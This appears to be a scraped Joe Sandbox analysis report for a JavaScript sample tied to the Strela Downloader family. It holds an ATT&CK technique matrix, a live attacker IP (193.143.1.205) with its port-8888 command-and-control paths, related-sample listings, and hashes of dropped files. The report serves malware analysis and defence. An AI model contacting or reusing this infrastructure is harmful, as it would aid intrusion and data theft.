Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1495528197325499932.js	3%	Virustotal		Browse
1495528197325499932.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/tem	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/h	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/p	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/4	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.210.34	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/h	net.exe, 00000007.00000002.1588518753.000001974E95B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/tem	net.exe, 00000007.00000002.1588518753.000001974E928000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2767908997.000002F6C6600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1592265871.000002F6C64D0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/4	net.exe, 00000007.00000002.1588518753.000001974E95B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/p	net.exe, 00000007.00000002.1588518753.000001974E928000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1588518753.000001974E980000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1588518753.000001974E928000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1588518753.000001974E95B000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587796
Start date and time:	2025-01-10 18:04:24 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1495528197325499932.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 84.201.210.34, 172.64.41.3, 162.159.61.3, 23.209.209.135, 2.23.242.162, 3.233.129.217, 3.219.243.226, 52.22.41.97, 52.6.155.20, 2.16.168.105, 2.16.168.107, 2.22.50.131, 2.22.50.144, 52.149.20.212, 23.206.229.226, 96.17.64.171, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, www.bing.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:05:30	API Interceptor	39x Sleep call for process: powershell.exe modified
12:05:37	API Interceptor	1x Sleep call for process: net.exe modified
12:05:37	API Interceptor	2x Sleep call for process: svchost.exe modified
12:05:45	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	498419465975031972.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12662108703247616042.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	44742054371077666.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.19
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	hy09j7Q8kJ.exe	Get hash	malicious	FormBook	Browse	217.20.57.35
	489131343024428850.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.34
	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.39
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.38
	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.21

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	47011380785516565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	498419465975031972.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2649727971102843099.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21646213161445014123.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	238395810148579476.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021721047788609
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAh:RJE+Lfki1GjHwU/+vVhWqpw
MD5:	34D92ACD79D773C20B8535D4C017447B
SHA1:	DA2D4A3C282D831A65E89007EA8BA2B8F9D64C00
SHA-256:	EE02B00327A96588ED0123002D0C6DE352D634122BEE7D9E0B81D6B7C4AC123E
SHA-512:	F20AEACD818A4D4C2B66F2313EFC40D6A8711D57E633C9CCE92F795B71AD0996DE3EAFE9A9527937614E565FC26B6C8D2C1165369CCE63E7AC51B0495702541F
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xbdf18e29, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432747011799731
Encrypted:	false
SSDEEP:	1536:7SB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:7azaHvxXy2V2UR
MD5:	4B1921348F68E278363B158DC9A18034
SHA1:	4C0B4CA8A13820471CCCE6D159ADE41CB4BE0AC4
SHA-256:	E2B9D181350BB2F2E0F319F13C243B41B32BA819D7DE0AA4200131B1AF56F491
SHA-512:	5D8312F0087F014A1747C2183639806A3D03FA60C5380E45B6F62DD9FACE29EF4E2C93D3ACCB4ED280003A5C4E03A540333A0447D38317EDED2304D5C1A171F8
Malicious:	false
Preview:	..)... ...............X\...;...{......................0.x...... ...{s.&....}o.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{......................................&....}......................&....}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07940704061875369
Encrypted:	false
SSDEEP:	3:tKYe0cnwdl/nqlFcl1ZUllllVRk4lqllGBnX/l/Tj/k7/t:tKzZn6l/qlFclQ/ly4le254
MD5:	FAFA8D7613B46EB0B3EA29F6A56E44E8
SHA1:	5C537C622A2BC33613E2E9F20CE2A6B9F8707922
SHA-256:	194B29C847BF77DEF53B3730D340B5C1D4E68B77B7176BCA5EFF6AAB8FBBB103
SHA-512:	911B950655ED6C375065E28709DBDEE57E94BD8306AD0A1CAA131497EE3A73A240FD15342D64FC8D6A0DF4A15DD8EEABBB9C54ADF5BF0153A81EB85092B7B33C
Malicious:	false
Preview:	..w).....................................;...{..&....}... ...{s.......... ...{s.. ...{s.P.... ...{s.....................&....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.234920931295843
Encrypted:	false
SSDEEP:	6:iO47N+q2PCHhJ2nKuAl9OmbnIFUtSJ8SZZmwsJ8SNVkwOCHhJ2nKuAl9OmbjLJ:7mN+vBHAahFUtcn/aHV56HAaSJ
MD5:	525459116E0D3CC62A9863FC0F4D9EB3
SHA1:	728A2457142AF438FA1834BAE7E78074E900E7AE
SHA-256:	1BAE089FD6A70CE66838567AF23D94E4F1FE95AC4ED6B8F2A19B4EECA411BE44
SHA-512:	A298DC65DB6E8645F81EC1C090231447D2EECBA12DA8CA381E250EE422FC2C5FDDA779EBB9FBC57A86626E4C1813F73F9789C1295A95051571B370524F52D8EE
Malicious:	false
Preview:	2025/01/10-12:05:37.687 14dc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:05:37.690 14dc Recovering log #3.2025/01/10-12:05:37.690 14dc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.234920931295843
Encrypted:	false
SSDEEP:	6:iO47N+q2PCHhJ2nKuAl9OmbnIFUtSJ8SZZmwsJ8SNVkwOCHhJ2nKuAl9OmbjLJ:7mN+vBHAahFUtcn/aHV56HAaSJ
MD5:	525459116E0D3CC62A9863FC0F4D9EB3
SHA1:	728A2457142AF438FA1834BAE7E78074E900E7AE
SHA-256:	1BAE089FD6A70CE66838567AF23D94E4F1FE95AC4ED6B8F2A19B4EECA411BE44
SHA-512:	A298DC65DB6E8645F81EC1C090231447D2EECBA12DA8CA381E250EE422FC2C5FDDA779EBB9FBC57A86626E4C1813F73F9789C1295A95051571B370524F52D8EE
Malicious:	false
Preview:	2025/01/10-12:05:37.687 14dc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:05:37.690 14dc Recovering log #3.2025/01/10-12:05:37.690 14dc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.207876362246093
Encrypted:	false
SSDEEP:	6:iO4VV+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSkZmwsvVVkwOCHhJ2nKuAl9Ombzo2jz:7agvBHAa8uFUtl/+56HAa8RJ
MD5:	15455C25DB6C74EC9E724E4D099FCF20
SHA1:	00EF23B74724F8D99898155A256901069BADBEFF
SHA-256:	1FBFC3751A7B575BCE2B9FBB8DD423E72B18E32A534014416CDD131A485F72FF
SHA-512:	3917949875D7066402A4CEDECEA23B2A105EAADEACA707A9C58C63AD4F68FD40BD738C43FFC8E0239717EE00353CC41800778514882627F081B640633B546DF0
Malicious:	false
Preview:	2025/01/10-12:05:37.694 1be8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:05:37.695 1be8 Recovering log #3.2025/01/10-12:05:37.696 1be8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.207876362246093
Encrypted:	false
SSDEEP:	6:iO4VV+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSkZmwsvVVkwOCHhJ2nKuAl9Ombzo2jz:7agvBHAa8uFUtl/+56HAa8RJ
MD5:	15455C25DB6C74EC9E724E4D099FCF20
SHA1:	00EF23B74724F8D99898155A256901069BADBEFF
SHA-256:	1FBFC3751A7B575BCE2B9FBB8DD423E72B18E32A534014416CDD131A485F72FF
SHA-512:	3917949875D7066402A4CEDECEA23B2A105EAADEACA707A9C58C63AD4F68FD40BD738C43FFC8E0239717EE00353CC41800778514882627F081B640633B546DF0
Malicious:	false
Preview:	2025/01/10-12:05:37.694 1be8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:05:37.695 1be8 Recovering log #3.2025/01/10-12:05:37.696 1be8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0b97968b-2396-4885-afd7-aa7f39cf7d0d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.961257153594436
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqrsBdOg2Hm2caq3QYiub6P7E4TX:Y2sRdsRdMHmJ3QYhbS7n7
MD5:	26A90A9BF7D0B5CD5F1F349DFA191838
SHA1:	126E9A3AFC8993BC8DC0F404E41F4833F39F4DCF
SHA-256:	F63152F24CE0DE61BE4A78F94F3A0E77B6A124CD3C2C22CD655CE7A2B846202F
SHA-512:	0B11A3AD6E122C5901B1ABF503CE91B4AB27E89F87333F668CC856FE6B684681E31110D26134D19F6C2F7B0009E100D48A3575BA636815BCA3EE29A990F0F5A8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381088748998279","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":135158},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963247713778661
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4TX:Y2sRds9dMHX3QYhbS7n7
MD5:	D46529E824E6E834D0D750C5560C136C
SHA1:	E6597929E439E6AF24CE7249F0D303987F0760BF
SHA-256:	818753A5C6D3C843FBA032CCB1B1681F6226C17B388A1E3052774B1DD8809C72
SHA-512:	CE939B02393B7F46CE528527A40DCB56023CF6682B664D5685354CDA51388EE603FCAF018A428EFB08AD5800B68847F6F512B05F6D772E435507EE32BCEA0963
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF44cefd.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963247713778661
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4TX:Y2sRds9dMHX3QYhbS7n7
MD5:	D46529E824E6E834D0D750C5560C136C
SHA1:	E6597929E439E6AF24CE7249F0D303987F0760BF
SHA-256:	818753A5C6D3C843FBA032CCB1B1681F6226C17B388A1E3052774B1DD8809C72
SHA-512:	CE939B02393B7F46CE528527A40DCB56023CF6682B664D5685354CDA51388EE603FCAF018A428EFB08AD5800B68847F6F512B05F6D772E435507EE32BCEA0963
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b69a1194-bc7d-40e9-a8f2-700f8229cf19.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963247713778661
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4TX:Y2sRds9dMHX3QYhbS7n7
MD5:	D46529E824E6E834D0D750C5560C136C
SHA1:	E6597929E439E6AF24CE7249F0D303987F0760BF
SHA-256:	818753A5C6D3C843FBA032CCB1B1681F6226C17B388A1E3052774B1DD8809C72
SHA-512:	CE939B02393B7F46CE528527A40DCB56023CF6682B664D5685354CDA51388EE603FCAF018A428EFB08AD5800B68847F6F512B05F6D772E435507EE32BCEA0963
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.234892273770231
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+btXJfyci5:S43C4mS7fFi0KFYDjr3LWO3V3aw+btX4
MD5:	BB090E7315939F400B98E2ABA39C3AC6
SHA1:	AF3525ADC50C33B3D0B4FFE62E2B94DDC3FBBAF6
SHA-256:	5607884D1C485497D7826D3041D619B748688016FE2AC81147CD879E87E94C6E
SHA-512:	C73F5E995BD3B8A00A9A7D4B7DBD04B4E45DA3E22DEBCB49FB420460DF37DBF062CD25E655329AFA625AA24E679CCB90C249E2647A3D3544640E6976D051FC56
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.150692230586249
Encrypted:	false
SSDEEP:	6:iO4s+q2PCHhJ2nKuAl9OmbzNMxIFUtS3BZmws23VkwOCHhJ2nKuAl9OmbzNMFLJ:7GvBHAa8jFUtWB/BF56HAa84J
MD5:	3C2ACDE9E48E33A0CC9FE6CF6263645A
SHA1:	F277DDF02597B63ABF45EA477D276B7723E999BB
SHA-256:	2ED646AB087EE2751EDC0CA6E499DF7B994D92E57E175022C899A6FE67B02ECF
SHA-512:	A06F43F6695A1436732E2D12ED028330EA6D62461C32C11F3E35FCB461CEF2FE30F62E775121F9F2991446405117869AD02A36D749F6964A356D7557D6BDE9E2
Malicious:	false
Preview:	2025/01/10-12:05:38.191 1be8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:05:38.192 1be8 Recovering log #3.2025/01/10-12:05:38.193 1be8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.150692230586249
Encrypted:	false
SSDEEP:	6:iO4s+q2PCHhJ2nKuAl9OmbzNMxIFUtS3BZmws23VkwOCHhJ2nKuAl9OmbzNMFLJ:7GvBHAa8jFUtWB/BF56HAa84J
MD5:	3C2ACDE9E48E33A0CC9FE6CF6263645A
SHA1:	F277DDF02597B63ABF45EA477D276B7723E999BB
SHA-256:	2ED646AB087EE2751EDC0CA6E499DF7B994D92E57E175022C899A6FE67B02ECF
SHA-512:	A06F43F6695A1436732E2D12ED028330EA6D62461C32C11F3E35FCB461CEF2FE30F62E775121F9F2991446405117869AD02A36D749F6964A356D7557D6BDE9E2
Malicious:	false
Preview:	2025/01/10-12:05:38.191 1be8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:05:38.192 1be8 Recovering log #3.2025/01/10-12:05:38.193 1be8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
